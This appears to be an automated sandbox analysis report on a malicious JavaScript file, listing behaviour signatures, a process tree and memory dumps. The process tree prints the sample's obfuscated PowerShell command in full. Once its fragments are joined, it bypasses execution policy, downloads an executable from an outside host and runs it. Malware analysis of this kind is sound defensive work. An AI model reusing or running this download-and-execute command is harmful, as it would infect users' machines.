Analysis
- max time kernel
14s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
21/04/2026, 15:25
General
- Target file.js
- Size 12KB
- Sample260421-stryjsct2z
- SHA256 cade14342bd28b2e0e2730ad77551979f3be1475c31bb95d0b8d6c4206297b40
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\file.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "powershell $ojogo='^dimas.top';$hetfo='^-Scope Pr';$pobbi='^,$path); ';$innypu='^ocess; $p';$monsucm='^y Bypass ';$binkucb='^h';$ykpyffy='^Start-Pro';$ykjygr='^:temp+''';$uzmez='^e'');(New-';$xzymo='^Set-Execu';$ulirgo='^tp://laro';$eqtem='^ath=($env';$evyvz='^).Downloa';$ogxow='^Webclient';$utkyjv='^/777.exe''';$gsydibv='^tionPolic';$upoh='^stem.Net.';$zceqmi='^Object Sy';$cepsuhm='^ipbafa.ex';$qfyzko='^dFile(''ht';$awysqe='^cess $pat'; Invoke-Expression ($xzymo+$gsydibv+$monsucm+$hetfo+$innypu+$eqtem+$ykjygr+$cepsuhm+$uzmez+$zceqmi+$upoh+$ogxow+$evyvz+$qfyzko+$ulirgo+$ojogo+$utkyjv+$pobbi+$ykpyffy+$awysqe+$binkucb);"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $ojogo='dimas.top';$hetfo='-Scope Pr';$pobbi=',$path); ';$innypu='ocess; $p';$monsucm='y Bypass ';$binkucb='h';$ykpyffy='Start-Pro';$ykjygr=':temp+''';$uzmez='e'');(New-';$xzymo='Set-Execu';$ulirgo='tp://laro';$eqtem='ath=($env';$evyvz=').Downloa';$ogxow='Webclient';$utkyjv='/777.exe''';$gsydibv='tionPolic';$upoh='stem.Net.';$zceqmi='Object Sy';$cepsuhm='ipbafa.ex';$qfyzko='dFile(''ht';$awysqe='cess $pat'; Invoke-Expression ($xzymo+$gsydibv+$monsucm+$hetfo+$innypu+$eqtem+$ykjygr+$cepsuhm+$uzmez+$zceqmi+$upoh+$ogxow+$evyvz+$qfyzko+$ulirgo+$ojogo+$utkyjv+$pobbi+$ykpyffy+$awysqe+$binkucb);3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_y3snt1pr.5kt.ps1
memory/3124-1-0x0000018574D50000-0x0000018574D5C000-memory.dmp
memory/3124-0-0x0000018574CF0000-0x0000018574D4D000-memory.dmp
memory/4740-12-0x00007FF408340000-0x00007FF408350000-memory.dmp
memory/4740-2-0x00000299D1430000-0x00000299D1440000-memory.dmp
memory/4740-9-0x00000299EB340000-0x00000299EB362000-memory.dmp
memory/4740-11-0x00000299D1430000-0x00000299D1440000-memory.dmp
memory/4740-19-0x00000299EB3E0000-0x00000299EB3FC000-memory.dmp
memory/4740-3-0x00000299D1430000-0x00000299D1440000-memory.dmp
memory/4740-20-0x00000299EB640000-0x00000299EB6F3000-memory.dmp
memory/4740-21-0x00000299EB400000-0x00000299EB40A000-memory.dmp
memory/4740-22-0x00000299EB950000-0x00000299EB96C000-memory.dmp
memory/4740-23-0x00000299D1430000-0x00000299D1440000-memory.dmp
memory/4740-27-0x00000299D1420000-0x00000299D142C000-memory.dmp
memory/4740-28-0x00000299EB2D0000-0x00000299EB2E2000-memory.dmp
memory/4740-26-0x00000299D13A0000-0x00000299D13FD000-memory.dmp